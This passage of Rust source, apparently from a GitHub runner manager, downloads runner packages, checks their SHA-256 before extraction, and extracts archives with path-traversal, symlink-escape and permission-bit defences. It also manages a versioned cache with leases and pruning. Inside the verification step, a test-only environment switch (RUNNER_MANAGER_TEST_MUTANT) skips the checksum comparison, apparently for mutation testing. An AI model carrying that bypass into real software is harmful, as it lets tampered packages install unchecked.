1841    /// beside the extraction directory with its lifetime managed explicitly, at
1842    /// exactly one place below, and [`Self::sweep_staging`] is the backstop for
1843    /// a crash rather than the mechanism.
1844    async fn download_verify_and_install(
1845        &self,
1846        download: &RunnerDownload,
1847        version: &RunnerVersion,
1848        expected: &Sha256Hex,
1849        now: Timestamp,
1850        force: bool,
1851    ) -> Result<(InstalledPackage, bool), PackageError> {
1852        let (_, kind) = ArchiveKind::split(&download.filename)?;
1853        let staging_root = self.staging_root();
1854        create_dir_all(&staging_root)?;
1855        let token = uuid::Uuid::new_v4();
1856        let archive = staging_root.join(format!("download-{token}.archive"));
1857        let extracted = staging_root.join(token.to_string());
1858
1859        let outcome = self
1860            .fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
1861            .await;
1862
1863        // The downloaded file is not part of an entry on ANY path out of here —
1864        // verified, unverified, or interrupted mid-extraction. One removal,
1865        // reached unconditionally, is what makes that a property rather than a
1866        // hope spread over four early returns.
1867        let removed = remove_file_if_present(&archive, "remove the package download");
1868        let mut contents = outcome?;
1869        removed?;
1870
1871        let guard = StagingGuard::new(extracted.clone());
1872        let manifest = Manifest {
1873            version: version.clone(),
1874            digest: expected.clone(),
1875            installed_at: now,
1876            filename: download.filename.clone(),
1877        };
1878        // A copy of this tree holds this file too.
1879        let written = write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
1880        contents.add_file(Path::new(MANIFEST_FILE), &written);
1881
1882        let target = self.version_dir(version);
1883        create_dir_all(&self.root)?;
1884
1885        // A forced install trusts nothing already at the target, which a job
1886        // may have put there since the reinstall set the old entries aside. Nor
1887        // does any install keep what is not an entry there, which it could not
1888        // commit over.
1889        let displace =
1890            fs::symlink_metadata(&target).is_ok() && (force || self.entry(version)?.is_none());
1891        let displaced = if displace {
1892            Some(self.set_aside(&target)?)
1893        } else {
1894            None
1895        };
1896
1897        // The single commit point. `rename` onto an existing directory fails on
1898        // Windows and replaces nothing on Unix, and either way the answer is the
1899        // same: someone already installed this version, and an installed entry
1900        // is never overwritten. A forced install adopts nothing and fails.
1901        let committed = fs::rename(&extracted, &target);
1902        // Removing a tree is blocking work, kept off the daemon's current-thread
1903        // runtime, and what a job left in this one is not to be waited for.
1904        tokio::task::spawn_blocking(move || drop(displaced));
1905        match committed {
1906            Ok(()) => {}
1907            Err(source) => {
1908                if !force && let Some(entry) = self.entry(version)? {
1909                    guard.disarm_into_sweep();
1910                    return Ok((entry, false));
1911                }
1912                return Err(PackageError::Io {
1913                    what: "commit the extracted runner package",
1914                    path: target,
1915                    source,
1916                });
1917            }
1918        }
1919        guard.disarm_into_sweep();
1920
1921        Ok((
1922            InstalledPackage {
1923                version: version.clone(),
1924                root: target,
1925                installed_at: now,
1926                digest: expected.clone(),
1927                contents: Some(Arc::new(contents)),
1928            },
1929            true,
1930        ))
1931    }
1932
1933    /// Everything between the fetch and the commit: the ordering this module
1934    /// exists to enforce.
1935    ///
1936    /// Split out from its caller so that the downloaded file has exactly one
1937    /// removal site regardless of which of these steps failed.
1938    async fn fetch_verify_extract(
1939        &self,
1940        download: &RunnerDownload,
1941        version: &RunnerVersion,
1942        expected: &Sha256Hex,
1943        kind: ArchiveKind,
1944        archive: &Path,
1945        extracted: &Path,
1946    ) -> Result<PackageContents, PackageError> {
1947        self.ports
1948            .fetcher
1949            .fetch(&download.download_url, archive)
1950            .await?;
1951
1952        // Everything below is off the async thread, and from one read. The file
1953        // sits where the account jobs run as can write: read again for each step,
1954        // it could be swapped after its digest was checked, for a package and a
1955        // record of what it holds that agree with each other. Held in memory for
1956        // this step only, one install at a time per host.
1957        let archive = archive.to_path_buf();
1958        let extracted = extracted.to_path_buf();
1959        let expected = expected.clone();
1960        let version = version.clone();
1961        tokio::task::spawn_blocking(move || {
1962            let bytes = fs::read(&archive).map_err(|source| PackageError::Io {
1963                what: "read the package download file",
1964                path: archive.clone(),
1965                source,
1966            })?;
1967            let actual = Sha256Hex::parse(&hex::encode(Sha256::digest(&bytes)))?;
1968
1969            // Verification, before extraction. Nothing between these two
1970            // statements may ever unpack anything.
1971            #[cfg(test)]
1972            let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
1973                == Ok("skip_checksum_comparison")
1974                || actual == expected;
1975            #[cfg(not(test))]
1976            let checksum_matches = actual == expected;
1977            if !checksum_matches {
1978                return Err(PackageError::ChecksumMismatch {
1979                    version,
1980                    expected,
1981                    actual,
1982                });
1983            }
1984
1985            extract(&bytes, kind, &extracted)?;
1986            PackageContents::of_archive(&bytes, kind)
1987        })
1988        .await
1989        .map_err(|error| PackageError::Extract {
1990            detail: format!("the extraction task failed: {error}"),
1991        })?
1992    }
1993
1994    // -- reading the cache -------------------------------------------------
1995
1996    fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
1997        self.root.join(version.as_str())
1998    }
1999
2000    /// One entry, if it is installed and complete.
2001    ///
2002    /// A directory with no readable manifest is *not* an entry: the manifest
2003    /// lands with the directory in a single rename, so its absence means the
2004    /// directory was not produced by this module and nothing may be assumed
2005    /// about its contents.
2006    ///
2007    /// # Errors
2008    /// [`PackageError::Io`] when the cache cannot be read.
2009    pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
2010        let root = self.version_dir(version);
2011        if !root.is_dir() {
2012            return Ok(None);
2013        }
2014        // Whatever keeps it from being read, a directory in its place included: a
2015        // job can do that, and an error here would stop every launch on this host,
2016        // through every restart, before any install could replace it.
2017        let Ok(Some(manifest)) = read_json::<Manifest>(&root.join(MANIFEST_FILE)) else {
2018            return Ok(None);
2019        };
2020        if manifest.version != *version {
2021            return Ok(None);
2022        }
2023        Ok(Some(InstalledPackage {
2024            version: manifest.version,
2025            root,
2026            installed_at: manifest.installed_at,
2027            digest: manifest.digest,
2028            contents: None,
2029        }))
2030    }
2031
2032    /// Every complete entry, oldest version first.
2033    ///
2034    /// # Errors
2035    /// [`PackageError::Io`] when the cache directory cannot be read.
2036    pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
2037        let mut found = Vec::new();
2038        let entries = match fs::read_dir(&self.root) {
2039            Ok(entries) => entries,
2040            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
2041            Err(source) => {
2042                return Err(PackageError::Io {
2043                    what: "read the runner package cache",
2044                    path: self.root.clone(),
2045                    source,
2046                });
2047            }
2048        };
2049        for entry in entries {
2050            let entry = entry.map_err(|source| PackageError::Io {
2051                what: "read the runner package cache",
2052                path: self.root.clone(),
2053                source,
2054            })?;
2055            let name = entry.file_name();
2056            let Some(name) = name.to_str() else { continue };
2057            // `.staging` and `.leases` are not versions, and `RunnerVersion`
2058            // could not parse them anyway; skipping them explicitly keeps the
2059            // intent visible.
2060            if name.starts_with('.') {
2061                continue;
2062            }
2063            let Ok(version) = RunnerVersion::parse(name) else {
2064                continue;
2065            };
2066            if let Some(package) = self.entry(&version)? {
2067                found.push(package);
2068            }
2069        }
2070        found.sort_by(|a, b| a.version.cmp(&b.version));
2071        Ok(found)
2072    }
2073
2074    /// The most recently installed entry, which is the one a cold start reuses.
2075    pub(crate) fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
2076        Ok(self
2077            .installed()?
2078            .into_iter()
2079            .max_by_key(|package| package.installed_at))
2080    }
2081
2082    // -- leases and pruning ------------------------------------------------
2083
2084    fn leases_dir(&self) -> PathBuf {
2085        self.root.join(LEASES_DIR)
2086    }
2087
2088    fn lease_path(&self, attempt: AttemptId) -> PathBuf {
2089        self.leases_dir()
2090            .join(format!("{attempt}.{LEASE_EXTENSION}"))
2091    }
2092
2093    /// Record that `attempt` holds `version`, so a prune cannot remove it.
2094    ///
2095    /// Two refusals, both structural:
2096    ///
2097    /// * A version that is not installed cannot be held.
2098    /// * An attempt whose runtime directory is **inside the cache root** is
2099    ///   refused outright. Job workspaces are disposable and per-attempt; a
2100    ///   package entry is shared and immutable. A workspace nested in one would
2101    ///   be destroyed the moment that version was pruned, and would mutate an
2102    ///   entry that every other runtime is copied from. This is checked rather
2103    ///   than documented because a documented invariant with no enforcement is
2104    ///   how the property silently stops holding.
2105    ///
2106    /// The lease survives a restart — it is a file, not a field — which is what
2107    /// makes the guard meaningful across the agent's own lifetime.
2108    ///
2109    /// # Errors
2110    /// [`PackageError::NotInstalled`], [`PackageError::WorkspaceInsideCache`],
2111    /// or [`PackageError::Io`].
2112    pub fn lease(
2113        &self,
2114        attempt: &RunnerAttempt,
2115        version: &RunnerVersion,
2116    ) -> Result<(), PackageError> {
2117        if self.entry(version)?.is_none() {
2118            return Err(PackageError::NotInstalled {
2119                version: version.clone(),
2120            });
2121        }
2122        let runtime = attempt.runtime_path();
2123        if is_inside(&self.root, runtime) {
2124            return Err(PackageError::WorkspaceInsideCache {
2125                attempt: attempt.id,
2126                path: runtime.to_path_buf(),
2127            });
2128        }
2129        create_dir_all(&self.leases_dir())?;
2130        write_json(
2131            &self.lease_path(attempt.id),
2132            &Lease {
2133                version: version.clone(),
2134            },
2135        )?;
2136        Ok(())
2137    }
2138
2139    /// Drop `attempt`'s hold, whatever it was holding.
2140    ///
2141    /// Idempotent: releasing a lease that was never taken is not an error, so a
2142    /// cleanup path may call it unconditionally.
2143    ///
2144    /// # Errors
2145    /// [`PackageError::Io`] when the lease file cannot be removed.
2146    pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
2147        let path = self.lease_path(attempt);
2148        match fs::remove_file(&path) {
2149            Ok(()) => Ok(()),
2150            Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2151            Err(source) => Err(PackageError::Io {
2152                what: "release a runner package lease",
2153                path,
2154                source,
2155            }),
2156        }
2157    }
2158
2159    /// Every attempt currently holding `version`.
2160    ///
2161    /// # Errors
2162    /// [`PackageError::Io`] when the lease directory cannot be read.
2163    pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
2164        let mut holders = Vec::new();
2165        let dir = self.leases_dir();
2166        let entries = match fs::read_dir(&dir) {
2167            Ok(entries) => entries,
2168            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
2169            Err(source) => {
2170                return Err(PackageError::Io {
2171                    what: "read the runner package leases",
2172                    path: dir,
2173                    source,
2174                });
2175            }
2176        };
2177        for entry in entries {
2178            let entry = entry.map_err(|source| PackageError::Io {
2179                what: "read the runner package leases",
2180                path: dir.clone(),
2181                source,
2182            })?;
2183            let path = entry.path();
2184            if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
2185                continue;
2186            }
2187            // Everything below refuses rather than skips.
2188            //
2189            // A `.lease` file this module cannot make sense of is not "no
2190            // lease" — it is a lease whose holder is unknown, and treating the
2191            // two alike is the one fail-OPEN path in an otherwise fail-closed
2192            // guard. It would also be among the easiest to reach: a lease is
2193            // written non-atomically, so a crash mid-write leaves exactly this
2194            // shape, and the consequence is deleting the package a live runner
2195            // is executing from.
2196            if let Some(holder) = holder_of(&path, version)? {
2197                holders.push(holder);
2198            }
2199        }
2200        holders.sort_unstable();
2201        Ok(holders)
2202    }
2203
2204    /// Remove a cached version, if nothing active still references it.
2205    ///
2206    /// `attempts` is the host's attempt set — the same set
2207    /// `RunnerLauncher::attempts` answers, terminal entries included, because
2208    /// both questions are asked of one set. Each lease on `version` is resolved
2209    /// against it:
2210    ///
2211    /// | Lease's attempt | Outcome |
2212    /// |---|---|
2213    /// | present and non-terminal | **refused** — [`PackageError::VersionInUse`] |
2214    /// | present and terminal | released, and the prune proceeds |
2215    /// | absent from the set | **refused** — [`PackageError::VersionHeldByUnknownAttempt`] |
2216    ///
2217    /// # Why an absent attempt refuses rather than releases
2218    ///
2219    /// It would be tidier to read "not in the set" as "gone", and it would be
2220    /// wrong. `e1` documents that a launcher's newly created attempt may not be
2221    /// visible to `attempts()` yet — a journal write that has not landed, an
2222    /// asynchronous store, a cache — and that lag is exactly the window in
2223    /// which a just-leased version would look unreferenced. Deleting a package
2224    /// out from under a starting runner is not a condition the runner can
2225    /// report intelligibly, so the ambiguous case fails closed. The cost is a
2226    /// version that stays on disk until [`Self::release`] is called for a lease
2227    /// nobody will ever release; the error names that remedy.
2228    ///
2229    /// **The guard is only as truthful as the caller's leases.** This function
2230    /// can refuse to prune something it knows is held; it cannot discover a
2231    /// reference nobody recorded. See the module documentation's seam contract.
2232    ///
2233    /// # A window this function does not close, recorded deliberately
2234    ///
2235    /// [`Self::lease`] and this method both take `&self` on a `Send + Sync`
2236    /// type and take no lock between them. A `lease` that passes its own
2237    /// `entry()` check can therefore be written *after* this method has read
2238    /// [`Self::holders`] and *before* it removes the directory, leaving a live
2239    /// attempt holding a package that is gone. Nothing here detects that.
2240    ///
2241    /// **What makes it safe is the caller's hold on the trees, and nothing this
2242    /// module could add.** A `Mutex` of its own would not help, and saying it
2243    /// was declined merely to avoid "a second ordering to get wrong" overstated
2244    /// the alternative: a leaf mutex taken and released inside two synchronous
2245    /// `&self` methods cannot span the caller's decide-then-launch sequence, so
2246    /// it could not order a lease against a prune even in principle. The window
2247    /// is between *callers*, and only a lock the caller already holds across
2248    /// both can close it.
2249    ///
2250    /// So the requirement is on the caller: **prune under the exclusive hold of
2251    /// the trees, and lease under at least a shared one**
2252    /// (`crate::lifecycle::SharedPackages`). A launch keeps its hold from the
2253    /// copy through its lease, which makes this method's read-then-remove
2254    /// indivisible with respect to every lease this agent creates. It says
2255    /// nothing about a second agent on the same machine; the single-instance
2256    /// lock is what prevents that.
2257    ///
2258    /// Stated rather than silently assumed, and stated here rather than
2259    /// enforced, which is a weaker position than this module takes at
2260    /// [`Self::lease`] — where the note argues that a documented invariant with
2261    /// no enforcement is how a property silently stops holding. The difference
2262    /// is that `lease` can check its invariant from inside a single call and
2263    /// this one cannot: the lock that would close this window is not this
2264    /// module's to take.
2265    ///
2266    /// # Errors
2267    /// [`PackageError::VersionInUse`],
2268    /// [`PackageError::VersionHeldByUnknownAttempt`],
2269    /// [`PackageError::NotInstalled`], or [`PackageError::Io`].
2270    pub(crate) fn prune(
2271        &self,
2272        version: &RunnerVersion,
2273        attempts: &[RunnerAttempt],
2274    ) -> Result<(), PackageError> {
2275        if self.entry(version)?.is_none() {
2276            return Err(PackageError::NotInstalled {
2277                version: version.clone(),
2278            });
2279        }
2280        let holders = self.holders(version)?;
2281        for holder in &holders {
2282            match attempts.iter().find(|attempt| attempt.id == *holder) {
2283                Some(attempt) if attempt.counts_against_capacity() => {
2284                    return Err(PackageError::VersionInUse {
2285                        version: version.clone(),
2286                        attempt: *holder,
2287                        state: attempt.state(),
2288                    });
2289                }
2290                Some(_) => {}
2291                None => {
2292                    return Err(PackageError::VersionHeldByUnknownAttempt {
2293                        version: version.clone(),
2294                        attempt: *holder,
2295                    });
2296                }
2297            }
2298        }
2299
2300        let dir = self.version_dir(version);
2301        remove_tree(&dir).map_err(|source| PackageError::Io {
2302            what: "remove a cached runner package",
2303            path: dir,
2304            source,
2305        })?;
2306        // The holders no longer own execution resources, so their leases are spent.
2307        for holder in holders {
2308            self.release(holder)?;
2309        }
2310        Ok(())
2311    }
2312
2313    // -- staging -----------------------------------------------------------
2314
2315    fn staging_root(&self) -> PathBuf {
2316        self.root.join(STAGING_DIR)
2317    }
2318
2319    /// Remove staging litter left by an interrupted install.
2320    ///
2321    /// Nothing under `.staging/` is ever part of an entry, so this is always
2322    /// safe to call. It is separate from installing because a sweep that ran
2323    /// automatically would race a concurrent install's staging directory.
2324    ///
2325    /// # Errors
2326    /// [`PackageError::Io`] when the staging root cannot be read.
2327    pub fn sweep_staging(&self) -> Result<usize, PackageError> {
2328        let root = self.staging_root();
2329        let entries = match fs::read_dir(&root) {
2330            Ok(entries) => entries,
2331            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
2332            Err(source) => {
2333                return Err(PackageError::Io {
2334                    what: "read the runner package staging area",
2335                    path: root,
2336                    source,
2337                });
2338            }
2339        };
2340        let mut swept = 0;
2341        for entry in entries.flatten() {
2342            let path = entry.path();
2343            // Both shapes live here: `download-<uuid>.archive` files and
2344            // `<uuid>/` extraction directories.
2345            let removed = if path.is_dir() {
2346                remove_tree(&path).is_ok()
2347            } else {
2348                fs::remove_file(&path).is_ok()
2349            };
2350            if removed {
2351                swept += 1;
2352            }
2353        }
2354        Ok(swept)
2355    }
2356}
2357
2358/// One attempt's hold on one version.
2359#[derive(Debug, Clone, Serialize, Deserialize)]
2360struct Lease {
2361    version: RunnerVersion,
2362}
2363
2364/// Removes a staging directory unless the install committed it.
2365struct StagingGuard {
2366    dir: Option<PathBuf>,
2367}
2368
2369impl StagingGuard {
2370    fn new(dir: PathBuf) -> Self {
2371        Self { dir: Some(dir) }
2372    }
2373
2374    /// The entry landed (or was already there); the staging directory is now
2375    /// ordinary litter and is removed on the spot rather than on unwind.
2376    fn disarm_into_sweep(mut self) {
2377        if let Some(dir) = self.dir.take() {
2378            let _ = remove_tree(dir);
2379        }
2380    }
2381}
2382
2383impl Drop for StagingGuard {
2384    fn drop(&mut self) {
2385        if let Some(dir) = self.dir.take() {
2386            let _ = remove_tree(dir);
2387        }
2388    }
2389}
2390
2391/// Removes a tree a job may have written to. On Unix the standard library's
2392/// remover unlinks what is not a directory without opening it; opening a FIFO, as
2393/// the `remove_dir_all` crate does there, would wait for ever.
2394fn remove_tree(path: impl AsRef<Path>) -> io::Result<()> {
2395    #[cfg(unix)]
2396    {
2397        fs::remove_dir_all(path)
2398    }
2399    #[cfg(not(unix))]
2400    {
2401        remove_dir_all::remove_dir_all(path)
2402    }
2403}
2404
2405// ---------------------------------------------------------------------------
2406// Extraction
2407// ---------------------------------------------------------------------------
2408
2409/// Extract a verified archive into a fresh directory.
2410///
2411/// The digest has already matched by the time this runs, so these are the bytes
2412/// GitHub published. The containment checks below are defence in depth, not the
2413/// primary control — but they are cheap, and what they prevent is an archive
2414/// writing outside the directory it was given.
2415fn extract(archive: &[u8], kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
2416    create_dir_all(into)?;
2417    match kind {
2418        ArchiveKind::Zip => extract_zip(archive, into),
2419        ArchiveKind::TarGz => extract_tar_gz(archive, into),
2420    }
2421}
2422
2423fn extract_zip(archive: &[u8], into: &Path) -> Result<(), PackageError> {
2424    let mut zip =
2425        zip::ZipArchive::new(io::Cursor::new(archive)).map_err(|error| PackageError::Extract {
2426            detail: error.to_string(),
2427        })?;
2428
2429    for index in 0..zip.len() {
2430        let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
2431            detail: error.to_string(),
2432        })?;
2433        let raw_name = entry.name().to_string();
2434        // `enclosed_name` answers `None` for an absolute path, a drive prefix,
2435        // or any `..` component. Our own containment check follows it because
2436        // the two disagree on nothing and agreeing twice is the point.
2437        let relative = entry
2438            .enclosed_name()
2439            .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2440                entry: raw_name.clone(),
2441            })?;
2442        let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
2443            continue;
2444        };
2445
2446        if entry.is_dir() {
2447            create_dir_all(&destination)?;
2448            // The zip path used to `continue` here and never reach the policy,
2449            // so a directory published world-writable or setgid kept it.
2450            apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
2451            continue;
2452        }
2453        if entry.is_symlink() {
2454            // Windows packages are the `.zip` ones and contain no symlinks. A
2455            // link here would be a shape this agent has never seen from GitHub,
2456            // and creating it needs a privilege the agent should not want.
2457            return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
2458        }
2459        if let Some(parent) = destination.parent() {
2460            create_dir_all(parent)?;
2461        }
2462        let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
2463            what: "create an extracted runner package file",
2464            path: destination.clone(),
2465            source,
2466        })?;
2467        io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
2468            what: "write an extracted runner package file",
2469            path: destination.clone(),
2470            source,
2471        })?;
2472        apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
2473    }
2474    Ok(())
2475}
2476
2477fn extract_tar_gz(archive: &[u8], into: &Path) -> Result<(), PackageError> {
2478    let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(archive));
2479    let entries = tar.entries().map_err(|source| PackageError::Extract {
2480        detail: source.to_string(),
2481    })?;
2482    for entry in entries {
2483        let mut entry = entry.map_err(|source| PackageError::Extract {
2484            detail: source.to_string(),
2485        })?;
2486
2487        // Everything is read out of the header up front: `entry` is borrowed
2488        // mutably below, and a `Cow` borrowed from it cannot survive that.
2489        let relative = entry
2490            .path()
2491            .map_err(|source| PackageError::Extract {
2492                detail: source.to_string(),
2493            })?
2494            .into_owned();
2495        let display = relative.display().to_string();
2496        let kind = entry.header().entry_type();
2497        let mode = entry
2498            .header()
2499            .mode()
2500            .map_err(|source| PackageError::Extract {
2501                detail: source.to_string(),
2502            })?;
2503        let link_target = entry
2504            .link_name()
2505            .map_err(|source| PackageError::Extract {
2506                detail: source.to_string(),
2507            })?
2508            .map(|target| target.into_owned());
2509
2510        // This module's own containment check, before `tar`'s. Its result is
2511        // load-bearing rather than discarded: `destination` is what the mode
2512        // policy is applied to below, so removing this call does not compile.
2513        let Some(destination) = entry_destination(into, &relative, &display)? else {
2514            // `.` or `./`, the archive's own root. Skipped before `unpack_in`,
2515            // which would otherwise set the extraction root's mode itself.
2516            continue;
2517        };
2518
2519        // A link's *target* is a second path, and `tar` does not check it
2520        // against the extraction root. An unvalidated one is the classic
2521        // archive escape: a link out of the tree, then a later entry written
2522        // through it. `extract_zip` refuses links outright because a Windows
2523        // package has never carried one and creating one needs a privilege
2524        // this agent should not want. That reasoning is Windows-specific, so
2525        // rather than copy the conclusion this path checks the target: a link
2526        // that stays inside the package is legitimate on Unix and is kept, and
2527        // one that reaches outside is refused.
2528        if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2529            let target =
2530                link_target
2531                    .as_deref()
2532                    .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2533                        entry: display.clone(),
2534                    })?;
2535            resolve_link_target(into, &destination, kind, target, &display)?;
2536        }
2537
2538        // `tar`'s own mode handling has to be turned *down* here, not up.
2539        //
2540        // `set_preserve_permissions(true)` is weaker than the default, not
2541        // stronger: `Entry::_set_perms` computes
2542        // `let mode = if preserve { mode } else { mode & 0o777 }; mode & !mask`
2543        // with `mask` defaulting to zero, so preserving applies setuid, setgid,
2544        // sticky and world-writable bits exactly as published. On a package
2545        // fetched over the network that is the wrong direction. `false` drops
2546        // the top three bits and the mask drops every group and other bit, so
2547        // nothing dangerous exists on disk even momentarily; the policy below
2548        // then sets the mode this agent actually intends.
2549        entry.set_preserve_permissions(false);
2550        entry.set_mask(0o077);
2551        let unpacked = entry
2552            .unpack_in(into)
2553            .map_err(|source| PackageError::Extract {
2554                detail: source.to_string(),
2555            })?;
2556        if !unpacked {
2557            return Err(PackageError::UnsafeArchiveEntry { entry: display });
2558        }
2559
2560        // Links are skipped: a symlink's own mode is meaningless, and
2561        // `set_permissions` follows the link and would change the target's.
2562        if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2563            let is_directory = matches!(kind, tar::EntryType::Directory);
2564            apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
2565        }
2566    }
2567    Ok(())
2568}
2569
2570/// Prove an archive link's target cannot reach outside the package.
2571///
2572/// A symlink's target is resolved relative to the link's own directory; a hard
2573/// link's is relative to the archive root. Both must land inside `into`, and an
2574/// absolute target is refused outright — nothing GitHub publishes needs one,
2575/// and it is the shape an escape takes.
2576fn resolve_link_target(
2577    into: &Path,
2578    entry_destination: &Path,
2579    kind: tar::EntryType,
2580    target: &Path,
2581    raw: &str,
2582) -> Result<(), PackageError> {
2583    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2584        entry: raw.to_string(),
2585    };
2586    if target.is_absolute() {
2587        return Err(unsafe_entry());
2588    }
2589    let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
2590        entry_destination.parent().unwrap_or(into).to_path_buf()
2591    } else {
2592        into.to_path_buf()
2593    };
2594    for component in target.components() {
2595        match component {
2596            Component::Normal(part) => resolved.push(part),
2597            Component::CurDir => {}
2598            // Climbing is legitimate inside a package — `bin/current` may point
2599            // at `../run.sh` — so it is followed rather than refused, and the
2600            // containment check below is what decides.
2601            Component::ParentDir => {
2602                if !resolved.pop() {
2603                    return Err(unsafe_entry());
2604                }
2605            }
2606            Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
2607        }
2608    }
2609    if !is_inside(into, &resolved) {
2610        return Err(unsafe_entry());
2611    }
2612    Ok(())
2613}
2614
2615/// Where one archive entry lands, or `None` when it names the extraction root.
2616///
2617/// # Why a root entry is skipped rather than refused
2618///
2619/// An entry called `.` or `./` resolves to the extraction directory itself.
2620/// Left alone that hands the archive control over the mode of a directory this
2621/// module created and owns — [`apply_mode_policy`] would chmod the root, and
2622/// `tar`'s own unpack would too. Not an escape, since the policy fails closed,
2623/// but not the archive's decision to make either.
2624///
2625/// Refusing it was the obvious fix and is the wrong one: `tar -C dir -czf
2626/// out.tgz .` emits exactly this entry for the archive's own root, so a refusal
2627/// would reject a perfectly ordinary package. The root already exists — it is
2628/// created at the top of [`extract`] — so there is nothing such an entry can
2629/// contribute and nothing lost by ignoring it. Skipping closes the hole
2630/// completely and cannot fail a legitimate archive.
2631///
2632/// This is the same trade as the link-target check in [`extract_tar_gz`]:
2633/// validate the dangerous property, do not refuse the shape.
2634fn entry_destination(
2635    root: &Path,
2636    relative: &Path,
2637    raw: &str,
2638) -> Result<Option<PathBuf>, PackageError> {
2639    let resolved = resolve_inside(root, relative, raw)?;
2640    if resolved == root {
2641        return Ok(None);
2642    }
2643    Ok(Some(resolved))
2644}
2645
2646/// The mode an extracted entry should end up with, or `None` to leave it alone.
2647///
2648/// Pure, and separated from the two extraction paths on purpose: it is the only
2649/// place the directory rule exists, and it can be asserted on a CI leg whose
2650/// filesystem has no mode bits.
2651///
2652/// **A directory always gets the executable bit.** `policy_mode` alone would
2653/// turn a published `0o644` directory into `0o600`, which the agent could not
2654/// then descend into — traversability is not the archive's to withhold. A
2655/// directory with no published mode at all (a zip written on Windows) gets the
2656/// same answer rather than being left at whatever `create_dir_all` chose.
2657fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
2658    if is_directory {
2659        return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
2660    }
2661    published.map(policy_mode)
2662}
2663
2664/// Join `relative` onto `root` and prove the result stays inside it.
2665fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
2666    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2667        entry: raw.to_string(),
2668    };
2669    if relative.is_absolute() {
2670        return Err(unsafe_entry());
2671    }
2672    let mut resolved = root.to_path_buf();
2673    for component in relative.components() {
2674        match component {
2675            Component::Normal(part) => resolved.push(part),
2676            // `.` is harmless but carries no information; everything else —
2677            // `..`, a root, a drive prefix — is an escape attempt or a shape
2678            // this module refuses to guess about.
2679            Component::CurDir => {}
2680            Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
2681                return Err(unsafe_entry());
2682            }
2683        }
2684    }
2685    if !is_inside(root, &resolved) {
2686        return Err(unsafe_entry());
2687    }
2688    Ok(resolved)
2689}
2690
2691/// Whether `candidate` is `root` itself or lies beneath it, lexically.
2692///
2693/// Lexical on purpose: it must answer for paths that do not exist yet — an
2694/// archive entry's destination, an attempt's runtime directory before `e3`
2695/// creates it — and `canonicalize` cannot.
2696///
2697/// # Known limit
2698///
2699/// Components are compared byte-exactly, so on Windows a path differing from
2700/// the root only in case, or reaching it through an 8.3 short name, is not
2701/// recognised as inside. That would weaken [`PackageCache::lease`]'s workspace
2702/// guard, which is the caller that matters. It is latent rather than live:
2703/// every path on both sides of that comparison is derived from the same
2704/// [`AppPaths`] instance, so the spellings match by construction. Case-folding
2705/// here would be wrong for the archive-entry caller, where two entries
2706/// differing only in case are two entries — closing it properly means a
2707/// platform-aware comparison, not a `to_lowercase`.
2708fn is_inside(root: &Path, candidate: &Path) -> bool {
2709    let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
2710        path.components()
2711            .filter_map(|component| match component {
2712                Component::Normal(part) => Some(part.to_os_string()),
2713                Component::RootDir => Some(std::ffi::OsString::from("/")),
2714                Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
2715                Component::CurDir | Component::ParentDir => None,
2716            })
2717            .collect()
2718    };
2719    // A `..` anywhere in the candidate means the lexical answer is not
2720    // trustworthy, so refuse to claim containment.
2721    if candidate
2722        .components()
2723        .any(|c| matches!(c, Component::ParentDir))
2724    {
2725        return false;
2726    }
2727    let root = normalise(root);
2728    let candidate = normalise(candidate);
2729    candidate.len() >= root.len() && candidate[..root.len()] == root[..]
2730}
2731
2732/// The only mode this agent ever applies to something it extracted.
2733///
2734/// **A mode published in an archive is not a security decision this agent
2735/// delegates.** Exactly one bit group is honoured — the executable bits,
2736/// because the runner's `run.sh`, `config.sh` and `bin/*` are useless without
2737/// them — and the owner gets read and write so the tree is usable. Everything
2738/// else is dropped: setuid and setgid, which would turn a downloaded package
2739/// into a privilege escalation; the sticky bit; and every group and other bit,
2740/// which would let another account on the machine rewrite the binaries every
2741/// future runner is launched from.
2742///
2743/// The result is **owner-only**, matching the `0700` posture `d1` already uses
2744/// for every directory it creates. Writing this as `(published & 0o111) |
2745/// 0o600` looks equivalent and is not: it carries the *group and other*
2746/// execute bits straight through from the archive, so a published `0755` would
2747/// leave every account on the machine able to execute the runner binaries. The
2748/// archive's only say here is whether the file is executable at all.
2749///
2750/// Deliberately **not** `cfg`-gated and deliberately pure, so the policy has
2751/// one definition, both extraction paths reach the same one, and it can be
